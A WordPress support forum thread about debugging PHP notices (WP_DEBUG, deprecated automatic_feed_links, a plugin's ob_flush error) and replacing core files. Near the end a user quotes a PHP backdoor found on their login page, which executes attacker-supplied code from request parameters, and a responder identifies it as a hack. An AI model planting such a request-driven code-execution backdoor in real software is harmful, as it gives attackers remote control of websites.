in your wp-config.php file, change this
define('WP_DEBUG', false);
to this
define('WP_DEBUG', true);
and save the file.
Refresh the page. Hopefully you will see some PHP error messages which you can post back here.
(You will want to change the setting back to false once you correct the problem.)
the file is located in the root folder of your WordPress installation.
I will try this as soon as I get home and post any errors I may get.
Thanks a lot for your help!
Ok, first of all the line of code you suggested was not there but I added it “define(‘WP_DEBUG’, true);” and this is the error I got….
Notice: Trying to get property of non-object in /Applications/MAMP/htdocs/wordpress/wp-includes/query.php on line 327
Notice: automatic_feed_links is deprecated since version 3.0! Use add_theme_support( 'automatic-feed-links' ) instead. in /Applications/MAMP/htdocs/wordpress/wp-includes/functions.php on line 3237
Notice: ob_flush() [ref.outcontrol]: failed to flush buffer. No buffer to flush. in /Applications/MAMP/htdocs/wordpress/wp-content/plugins/art-direction/art-direction.php on line 23
code in line 327 query.php
function is_feed() {
global $wp_query;
return $wp_query->is_feed;
}
code in line 3237 functions.php
if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) {
if ( ! is_null($replacement) )
trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $function, $version, $replacement ) );
else
trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
}
}
code in line 23 art-direction.php
add_action('shutdown', 'art_scrape_end');
function art_scrape_end() {
global $global_styles, $single_styles, $output;
ob_flush();
$data = "<!-- Art Direction Styles -->\n".$single_styles.$global_styles;
echo str_replace('</head>', $data."\n</head>", $output);
}
Do you think of any thing that could be wrong or should I replace the 3 folders where these files resides?
Thanks
i’d start by removing the art direction plugin folder from the wp-content/plugins/ folder – put it elsewhere for the moment.
Then refresh the screen and see what happens.
If that doesn’t resolve it, its possibly a long shot but you might download the zipped WordPress download from the WP download site and upload the WP files on top of the existing WP files, by FTP. At the least it eliminates corruption in a WordPress file as the problem source.
Thank you for your help, I will give it a try and let you know what happens.
Thanks a lot!
I went and deleted the plugin folder and nothing only the third error went away, then I replaced all folders except the wp-contents and I’m still getting one error.
Notice: automatic_feed_links is deprecated since version 3.0! Use add_theme_support( 'automatic-feed-links' ) instead. in /Applications/MAMP/htdocs/wordpress/wp-includes/functions.php on line 3303
What files can be replaced within the wp-content folder without messing with my configuration?
Should I start from scratch?
Thanks
it sounds like you may have files from several versions of WordPress mixed together.
I suggest you download the latest WordPress files and load them over the files you already have in place.
the WordPress download does not contain root folder files named .htaccess or wp-config.php, thus they won’t be overwritten. If you have modified the default twenty ten theme in /wp-content/themes/ it will be overwritten. No other themes are installed in the download, and it doesn’t write anything else into the /wp-content/ folder except aksimet and hello plugins.
To be really safe, back up your whole WordPress install in a zip file, and back up your database too before overwriting the files. Then overwite the WP folders from a fresh WP download.
Thanks a lot for your help!
I do not know what happen with my blog!!
I am really concerned because I cannot log in into my wordpress dashboard
When I write as always; http://www.xxxxxxxxx.com/blog/wp-login.php this text or error code appears
if (isset($_REQUEST[‘FILE’])){$_FILE = $_REQUEST[’93d3522dc3657af69e96d7ef645ec83b’](‘$_’,$_REQUEST[‘FILE’].'($_);’); $_FILE(stripslashes($_REQUEST[‘HOST’]));}
If Somebody can help me I´ll appreciate it
It sounds like your site has been hacked.
See this article
http://wordpress.org/support/topic/malicious-code-in-indexphp-keeps-coming-back
For starters contact your webhost and tell them you think your WordPress site has been hacked. See how much they will help you.